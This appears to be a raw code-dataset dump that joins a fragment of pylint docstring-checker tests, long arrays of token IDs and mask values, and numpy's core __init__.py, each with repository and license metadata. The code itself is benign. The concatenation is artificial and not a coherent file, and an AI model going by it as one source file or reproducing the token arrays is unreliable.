msg_id='missing-type-doc', node=node, args=('missing_kwonly', ))): self.checker.visit_functiondef(node) def test_warns_missing_args_sphinx(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring :param named_arg: Returned :type named_arg: object :returns: Maybe named_arg :rtype: object or None """ if args: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('args',))): self.checker.visit_functiondef(node) def test_warns_missing_kwargs_sphinx(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring :param named_arg: Returned :type named_arg: object :returns: Maybe named_arg :rtype: object or None """ if kwargs: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('kwargs',))): self.checker.visit_functiondef(node) def test_warns_missing_args_google(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring Args: named_arg (object): Returned Returns: object or None: Maybe named_arg """ if args: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('args',))): self.checker.visit_functiondef(node) def test_warns_missing_kwargs_google(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring Args: named_arg (object): Returned Returns: object or None: Maybe named_arg """ if kwargs: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('kwargs',))): self.checker.visit_functiondef(node) def test_warns_missing_args_numpy(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring Args ---- named_arg : object Returned Returns ------- object or None Maybe named_arg """ if args: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('args',))): self.checker.visit_functiondef(node) def test_warns_missing_kwargs_numpy(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring Args ---- named_arg : object Returned Returns ------- object or None Maybe named_arg """ if kwargs: return named_arg ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('kwargs',))): self.checker.visit_functiondef(node) def test_finds_args_without_type_sphinx(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring :param named_arg: Returned :type named_arg: object :param args: Optional arguments :returns: Maybe named_arg :rtype: object or None """ if args: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_kwargs_without_type_sphinx(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring :param named_arg: Returned :type named_arg: object :param kwargs: Keyword arguments :returns: Maybe named_arg :rtype: object or None """ if kwargs: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_args_without_type_google(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring Args: named_arg (object): Returned *args: Optional arguments Returns: object or None: Maybe named_arg """ if args: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_kwargs_without_type_google(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring Args: named_arg (object): Returned **kwargs: Keyword arguments Returns: object or None: Maybe named_arg """ if kwargs: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_args_without_type_numpy(self): node = astroid.extract_node(''' def my_func(named_arg, *args): """The docstring Args ---- named_arg : object Returned args : Optional Arguments Returns ------- object or None Maybe named_arg """ if args: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_kwargs_without_type_numpy(self): node = astroid.extract_node(''' def my_func(named_arg, **kwargs): """The docstring Args ---- named_arg : object Returned kwargs : Keyword arguments Returns ------- object or None Maybe named_arg """ if kwargs: return named_arg ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) COMPLEX_TYPES = [ 'int or str', 'dict(str, str)', 'dict[str, str]', 'tuple(int)', 'tuple(int or str)', 'tuple(int) or list(int)', 'tuple(int or str) or list(int or str)', ] @pytest.mark.parametrize('complex_type', COMPLEX_TYPES) def test_finds_multiple_types_sphinx(self, complex_type): node = astroid.extract_node(''' def my_func(named_arg): """The docstring :param named_arg: Returned :type named_arg: {0} :returns: named_arg :rtype: {0} """ return named_arg '''.format(complex_type)) with self.assertNoMessages(): self.checker.visit_functiondef(node) @pytest.mark.parametrize('complex_type', COMPLEX_TYPES) def test_finds_multiple_types_google(self, complex_type): node = astroid.extract_node(''' def my_func(named_arg): """The docstring Args: named_arg ({0}): Returned Returns: {0}: named_arg """ return named_arg '''.format(complex_type)) with self.assertNoMessages(): self.checker.visit_functiondef(node) @pytest.mark.parametrize('complex_type', COMPLEX_TYPES) def test_finds_multiple_types_numpy(self, complex_type): node = astroid.extract_node(''' def my_func(named_arg): """The docstring Args ---- named_arg : {0} Returned Returns ------- {0} named_arg """ return named_arg '''.format(complex_type)) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_ignores_optional_specifier_numpy(self): node = astroid.extract_node(''' def do_something(param, param2='all'): """Do something. Parameters ---------- param : str Description. param2 : str, optional Description (the default is 'all'). Returns ------- int Description. """ return param, param2 ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_short_name_exception(self): node = astroid.extract_node(''' from fake_package import BadError def do_something(): #@ """Do something. Raises: ~fake_package.exceptions.BadError: When something bad happened. """ raise BadError("A bad thing happened.") ''') with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_missing_raises_from_setter_sphinx(self): """Example of a setter having missing raises documentation in the Sphinx style docstring of the property """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''docstring ... :type: int ''' return 10 @foo.setter def foo(self, value): raise AttributeError() #@ """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=property_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_missing_raises_from_setter_google(self): """Example of a setter having missing raises documentation in the Google style docstring of the property """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''int: docstring Include a "Raises" section so that this is identified as a Google docstring and not a Numpy docstring. Raises: RuntimeError: Always ''' raise RuntimeError() return 10 @foo.setter def foo(self, value): raises AttributeError() #@ """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=property_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_missing_raises_from_setter_numpy(self): """Example of a setter having missing raises documentation in the Numpy style docstring of the property """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''int: docstring Include a "Raises" section so that this is identified as a Numpy docstring and not a Google docstring. Raises ------ RuntimeError Always ''' raise RuntimeError() return 10 @foo.setter def foo(self, value): raises AttributeError() #@ """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=property_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_missing_raises_in_setter_sphinx(self): """Example of a setter having missing raises documentation in its own Sphinx style docstring """ setter_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): '''docstring ... :type: int :raises RuntimeError: Always ''' raise RuntimeError() return 10 @foo.setter def foo(self, value): #@ '''setter docstring ... :type: None ''' raise AttributeError() #@ """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=setter_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_missing_raises_from_setter_google(self): """Example of a setter having missing raises documentation in its own Google style docstring of the property """ setter_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): '''int: docstring ... Raises: RuntimeError: Always ''' raise RuntimeError() return 10 @foo.setter def foo(self, value): #@ '''setter docstring ... Raises: RuntimeError: Never ''' if True: raise AttributeError() #@ raise RuntimeError() """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=setter_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_missing_raises_from_setter_numpy(self): """Example of a setter having missing raises documentation in its own Numpy style docstring of the property """ setter_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): '''int: docstring ... Raises ------ RuntimeError Always ''' raise RuntimeError() return 10 @foo.setter def foo(self, value): #@ '''setter docstring ... Raises ------ RuntimeError Never ''' if True: raise AttributeError() #@ raise RuntimeError() """) with self.assertAddsMessages( Message( msg_id='missing-raises-doc', node=setter_node, args=('AttributeError',)), ): self.checker.visit_raise(node) def test_finds_property_return_type_sphinx(self): """Example of a property having return documentation in a Sphinx style docstring """ node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''docstring ... :type: int ''' return 10 """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_property_return_type_google(self): """Example of a property having return documentation in a Google style docstring """ node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''int: docstring ... Raises: RuntimeError: Always ''' raise RuntimeError() return 10 """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_property_return_type_numpy(self): """Example of a property having return documentation in a numpy style docstring """ node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''int: docstring ... Raises ------ RuntimeError Always ''' raise RuntimeError() return 10 """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_finds_missing_property_return_type_sphinx(self): """Example of a property having missing return documentation in a Sphinx style docstring """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''docstring ... :raises RuntimeError: Always ''' raise RuntimeError() return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-type-doc', node=property_node), ): self.checker.visit_return(node) def test_finds_missing_property_return_type_google(self): """Example of a property having return documentation in a Google style docstring """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''docstring ... Raises: RuntimeError: Always ''' raise RuntimeError() return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-type-doc', node=property_node), ): self.checker.visit_return(node) def test_finds_missing_property_return_type_numpy(self): """Example of a property having return documentation in a numpy style docstring """ property_node, node = astroid.extract_node(""" class Foo(object): @property def foo(self): #@ '''docstring ... Raises ------ RuntimeError Always ''' raise RuntimeError() return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-type-doc', node=property_node), ): self.checker.visit_return(node) def test_ignores_non_property_return_type_sphinx(self): """Example of a class function trying to use `type` as return documentation in a Sphinx style docstring """ func_node, node = astroid.extract_node(""" class Foo(object): def foo(self): #@ '''docstring ... :type: int ''' return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-doc', node=func_node), Message( msg_id='missing-return-type-doc', node=func_node), ): self.checker.visit_return(node) def test_ignores_non_property_return_type_google(self): """Example of a class function trying to use `type` as return documentation in a Google style docstring """ func_node, node = astroid.extract_node(""" class Foo(object): def foo(self): #@ '''int: docstring ... Raises: RuntimeError: Always ''' raise RuntimeError() return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-doc', node=func_node), Message( msg_id='missing-return-type-doc', node=func_node), ): self.checker.visit_return(node) def test_ignores_non_property_return_type_numpy(self): """Example of a class function trying to use `type` as return documentation in a numpy style docstring """ func_node, node = astroid.extract_node(""" class Foo(object): def foo(self): #@ '''int: docstring ... Raises ------ RuntimeError Always ''' raise RuntimeError() return 10 #@ """) with self.assertAddsMessages( Message( msg_id='missing-return-doc', node=func_node), Message( msg_id='missing-return-type-doc', node=func_node), ): self.checker.visit_return(node)
gpl-2.0
[ 3, 1898, 334, 67, 9, 6927, 13, 7806, 699, 1065, 79, 24747, 14769, 665, 66, 1065, 79, 14, 24863, 14769, 32, 6304, 13, 89, 265, 424, 14, 957, 30, 199, 3, 1898, 334, 67, 9, 6900, 13, 9261, 24433, 14525, 85, 4376, 387, 665, 2352, 1237, 280, 1018, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 67, 9, 7800, 437, 609, 15515, 2816, 386, 351, 665, 1119, 15515, 32, 65, 2191, 386, 351, 14, 331, 14, 3210, 30, 199, 3, 1898, 334, 67, 9, 7800, 598, 552, 78, 18619, 29640, 83, 665, 71, 552, 78, 32, 69, 13, 25805, 14, 846, 30, 199, 199, 3, 3909, 1334, 314, 14629, 26, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 1753, 13, 2383, 15, 11692, 13, 18, 14, 16, 14, 1360, 199, 3, 2104, 2436, 26, 4178, 921, 5031, 14, 957, 15, 2713, 35, 14323, 15, 26324, 15, 6582, 15, 4133, 15, 16188, 1206, 199, 199, 624, 5072, 2295, 367, 314, 4287, 1104, 1192, 315, 520, 1494, 1705, 26324, 14, 5359, 14, 1074, 63, 4757, 3559, 199, 262, 6770, 314, 2725, 3794, 7739, 658, 3768, 875, 3048, 64, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 870, 63, 1593, 12, 3679, 63, 646, 199, 199, 646, 984, 199, 199, 646, 4613, 199, 199, 646, 24440, 199, 504, 4287, 14, 396, 1208, 492, 2670, 281, 1746, 12, 6430, 12, 663, 63, 888, 199, 199, 504, 4287, 14, 5359, 14, 1301, 1162, 492, 5454, 875, 4720, 3048, 421, 199, 533, 1379, 4098, 3768, 3048, 8, 3048, 1746, 304, 272, 408, 2925, 367, 4287, 63, 2718, 14, 4098, 3768, 3048, 624, 272, 17654, 540, 63, 6885, 275, 5454, 875, 4720, 3048, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 8008, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 10229, 2725, 3794, 315, 267, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 520, 635, 671, 26, 330, 416, 953, 520, 635, 1109, 1315, 26, 4681, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 3098, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 4475, 3449, 2725, 267, 3794, 315, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 3033, 26, 355, 671, 26, 330, 416, 355, 1315, 334, 442, 304, 4681, 953, 2005, 1163, 8292, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 4714, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 20602, 3449, 2725, 267, 3794, 315, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 3897, 288, 4143, 288, 671, 26, 355, 330, 416, 288, 1315, 26, 1109, 355, 4681, 953, 2005, 1163, 8292, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 475, 1435, 323, 63, 889, 63, 635, 63, 9970, 63, 292, 63, 452, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 949, 2725, 3794, 737, 1006, 398, 3091, 1125, 1245, 365, 19515, 14, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 304, 288, 1449, 12485, 2263, 953, 4124, 2725, 3794, 2344, 288, 986, 267, 7857, 267, 543, 291, 14, 22389, 14508, 837, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 768, 409, 63, 888, 8, 5694, 63, 889, 63, 635, 63, 1301, 29, 797, 9, 272, 347, 511, 63, 13196, 63, 84, 63, 475, 1435, 323, 63, 889, 63, 635, 63, 9970, 63, 292, 63, 452, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 949, 2725, 3794, 737, 1006, 398, 15626, 3794, 1125, 1245, 365, 19515, 14, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 304, 288, 1449, 12485, 2263, 953, 4124, 2725, 3794, 2344, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 768, 409, 63, 888, 8, 5694, 63, 889, 63, 635, 63, 1301, 29, 797 ]
[ 1898, 334, 67, 9, 6927, 13, 7806, 699, 1065, 79, 24747, 14769, 665, 66, 1065, 79, 14, 24863, 14769, 32, 6304, 13, 89, 265, 424, 14, 957, 30, 199, 3, 1898, 334, 67, 9, 6900, 13, 9261, 24433, 14525, 85, 4376, 387, 665, 2352, 1237, 280, 1018, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 67, 9, 7800, 437, 609, 15515, 2816, 386, 351, 665, 1119, 15515, 32, 65, 2191, 386, 351, 14, 331, 14, 3210, 30, 199, 3, 1898, 334, 67, 9, 7800, 598, 552, 78, 18619, 29640, 83, 665, 71, 552, 78, 32, 69, 13, 25805, 14, 846, 30, 199, 199, 3, 3909, 1334, 314, 14629, 26, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 1753, 13, 2383, 15, 11692, 13, 18, 14, 16, 14, 1360, 199, 3, 2104, 2436, 26, 4178, 921, 5031, 14, 957, 15, 2713, 35, 14323, 15, 26324, 15, 6582, 15, 4133, 15, 16188, 1206, 199, 199, 624, 5072, 2295, 367, 314, 4287, 1104, 1192, 315, 520, 1494, 1705, 26324, 14, 5359, 14, 1074, 63, 4757, 3559, 199, 262, 6770, 314, 2725, 3794, 7739, 658, 3768, 875, 3048, 64, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 870, 63, 1593, 12, 3679, 63, 646, 199, 199, 646, 984, 199, 199, 646, 4613, 199, 199, 646, 24440, 199, 504, 4287, 14, 396, 1208, 492, 2670, 281, 1746, 12, 6430, 12, 663, 63, 888, 199, 199, 504, 4287, 14, 5359, 14, 1301, 1162, 492, 5454, 875, 4720, 3048, 421, 199, 533, 1379, 4098, 3768, 3048, 8, 3048, 1746, 304, 272, 408, 2925, 367, 4287, 63, 2718, 14, 4098, 3768, 3048, 624, 272, 17654, 540, 63, 6885, 275, 5454, 875, 4720, 3048, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 8008, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 10229, 2725, 3794, 315, 267, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 520, 635, 671, 26, 330, 416, 953, 520, 635, 1109, 1315, 26, 4681, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 3098, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 4475, 3449, 2725, 267, 3794, 315, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 3033, 26, 355, 671, 26, 330, 416, 355, 1315, 334, 442, 304, 4681, 953, 2005, 1163, 8292, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 4752, 63, 1532, 63, 1162, 63, 262, 63, 4714, 63, 12485, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 4124, 20602, 3449, 2725, 267, 3794, 315, 314, 9214, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 12, 1315, 304, 288, 1449, 12485, 2263, 953, 3897, 288, 4143, 288, 671, 26, 355, 330, 416, 288, 1315, 26, 1109, 355, 4681, 953, 2005, 1163, 8292, 288, 1449, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 89, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 347, 511, 63, 475, 1435, 323, 63, 889, 63, 635, 63, 9970, 63, 292, 63, 452, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 949, 2725, 3794, 737, 1006, 398, 3091, 1125, 1245, 365, 19515, 14, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 304, 288, 1449, 12485, 2263, 953, 4124, 2725, 3794, 2344, 288, 986, 267, 7857, 267, 543, 291, 14, 22389, 14508, 837, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 768, 409, 63, 888, 8, 5694, 63, 889, 63, 635, 63, 1301, 29, 797, 9, 272, 347, 511, 63, 13196, 63, 84, 63, 475, 1435, 323, 63, 889, 63, 635, 63, 9970, 63, 292, 63, 452, 8, 277, 304, 267, 408, 9846, 402, 282, 805, 543, 949, 2725, 3794, 737, 1006, 398, 15626, 3794, 1125, 1245, 365, 19515, 14, 267, 408, 267, 1031, 275, 24440, 14, 5005, 63, 932, 4852, 267, 347, 805, 63, 1421, 8, 88, 12, 612, 304, 288, 1449, 12485, 2263, 953, 4124, 2725, 3794, 2344, 288, 986, 267, 7857, 267, 543, 291, 14, 479, 14995, 14508, 8, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 635, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16256, 288, 6430, 8, 355, 1499, 63, 344, 534, 4752, 13, 466, 13, 1301, 297, 355, 1031, 29, 932, 12, 355, 1249, 7782, 88, 12, 612, 16829, 267, 3461, 288, 291, 14, 6743, 14, 5427, 63, 1593, 318, 8, 932, 9, 339, 768, 409, 63, 888, 8, 5694, 63, 889, 63, 635, 63, 1301, 29, 797, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
unnikrishnankgs/va
venv/lib/python3.5/site-packages/numpy/core/__init__.py
12
3039
from __future__ import division, absolute_import, print_function from .info import __doc__ from numpy.version import version as __version__ # disables OpenBLAS affinity setting of the main thread that limits # python threads or processes to one core import os env_added = [] for envkey in ['OPENBLAS_MAIN_FREE', 'GOTOBLAS_MAIN_FREE']: if envkey not in os.environ: os.environ[envkey] = '1' env_added.append(envkey) try: from . import multiarray except ImportError as exc: msg = """ Importing the multiarray numpy extension module failed. Most likely you are trying to import a failed build of numpy. If you're working with a numpy git repo, try `git clean -xdf` (removes all files not under version control). Otherwise reinstall numpy. Original error was: %s """ % (exc,) raise ImportError(msg) for envkey in env_added: del os.environ[envkey] del envkey del env_added del os from . import umath from . import _internal # for freeze programs from . import numerictypes as nt multiarray.set_typeDict(nt.sctypeDict) from . import numeric from .numeric import * from . import fromnumeric from .fromnumeric import * from . import defchararray as char from . import records as rec from .records import * from .memmap import * from .defchararray import chararray from . import function_base from .function_base import * from . import machar from .machar import * from . import getlimits from .getlimits import * from . import shape_base from .shape_base import * from . import einsumfunc from .einsumfunc import * del nt from .fromnumeric import amax as max, amin as min, round_ as round from .numeric import absolute as abs __all__ = ['char', 'rec', 'memmap'] __all__ += numeric.__all__ __all__ += fromnumeric.__all__ __all__ += rec.__all__ __all__ += ['chararray'] __all__ += function_base.__all__ __all__ += machar.__all__ __all__ += getlimits.__all__ __all__ += shape_base.__all__ __all__ += einsumfunc.__all__ from numpy.testing.nosetester import _numpy_tester test = _numpy_tester().test bench = _numpy_tester().bench # Make it possible so that ufuncs can be pickled # Here are the loading and unloading functions # The name numpy.core._ufunc_reconstruct must be # available for unpickling to work. def _ufunc_reconstruct(module, name): # The `fromlist` kwarg is required to ensure that `mod` points to the # inner-most module rather than the parent package when module name is # nested. This makes it possible to pickle non-toplevel ufuncs such as # scipy.special.expit for instance. mod = __import__(module, fromlist=[name]) return getattr(mod, name) def _ufunc_reduce(func): from pickle import whichmodule name = func.__name__ return _ufunc_reconstruct, (whichmodule(func, name), name) import sys if sys.version_info[0] >= 3: import copyreg else: import copy_reg as copyreg copyreg.pickle(ufunc, _ufunc_reduce, _ufunc_reconstruct) # Unclutter namespace (must keep _ufunc_reconstruct for unpickling) del copyreg del sys del _ufunc_reduce
bsd-2-clause
